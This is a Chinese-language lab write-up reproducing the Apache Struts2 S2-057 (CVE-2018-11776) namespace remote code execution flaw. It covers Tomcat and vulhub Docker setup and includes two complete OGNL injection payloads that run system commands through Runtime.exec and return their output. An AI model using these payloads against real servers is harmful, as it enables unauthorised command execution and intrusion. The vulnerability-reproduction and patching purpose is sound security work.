Apache struts2 namespace遠端命令執行_CVE-2018-11776(S2-057)漏洞復現
一、漏洞描述
S2-057漏洞產生於網站配置xml的時候,有一個namespace的值,該值並沒有做詳細的安全過濾導致可以寫入到xml上,尤其url標籤值也沒有做萬用字元的過濾,導致可以執行遠端程式碼,以及系統命令到伺服器系統中去 。
二、漏洞影響版本
Apache struts 2.3-Apache struts 2.3.34
Apache struts 2.5-Apache struts 2.5.16
三、漏洞環境搭建以及復現
Win7+tomcat7.0+struts-2.5.16
1、下載struts 2.5.16官方示例showcase
2、把下載的struts2-showcase放到tomcat的webapps目錄下
3、修改struts-actionchaining.xml,發現有兩處需要修改
4、修改struts-actionchaining.xml,將namespace刪除, 將 result 型別改為 redirectAction
修改為如下:
<struts> <package name="actionchaining" extends="struts-default"> <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1"> <result type="redirectAction"> <param name = "actionName">register2</param> </result> </action> </package> </struts>
5、重啟tomcat
6、瀏覽器訪問http://192.168.10.230:8080/struts2-showcase/,漏洞環境成功搭建
7、此漏洞利用很簡單,只需要在url構造ognl表示式,再加上配置檔案中的action標籤中的name屬性值,並以.action結尾
瀏覽器訪問http://192.168.10.230:8080/struts2-showcase/${100*100}/actionChain1.action,會執行 Ognl 表示式 ${100*100}
8、路徑跳轉到我們在配置的action檔案路徑下,到此,S2-057漏洞被成功的利用了
9、彈計算器,但是在目標沒有彈出計算器
Poc如下:
${(#_memberAccess["allowStaticMethodAccess"]=true,#a=@java.lang.Runtime@getRuntime().exec('calc').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#jas502n= @org.apache.struts2.ServletActionContext@getResponse().getWriter(),#jas502n.println(#d ),#jas502n.close())}
四、漏洞防禦
1、 升級最新版本
使用docker搭建
1、利用docker搭建vulhub漏洞環境
docker-compose up -d
2、 啟動環境後,訪問http://172.17.0.1:8080/struts2-showcase/
3、burp抓包,修改包如下,說明存在漏洞
4、使用poc驗證
POC如下:
${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}
5、把poc替換相應的位置,驗證說明存在漏洞 #poc需要url編碼
-----------------------------------------------------------------------------------------------------------
參考:https://github.com/vulhub/vulhub/tree/master/struts2/s2-057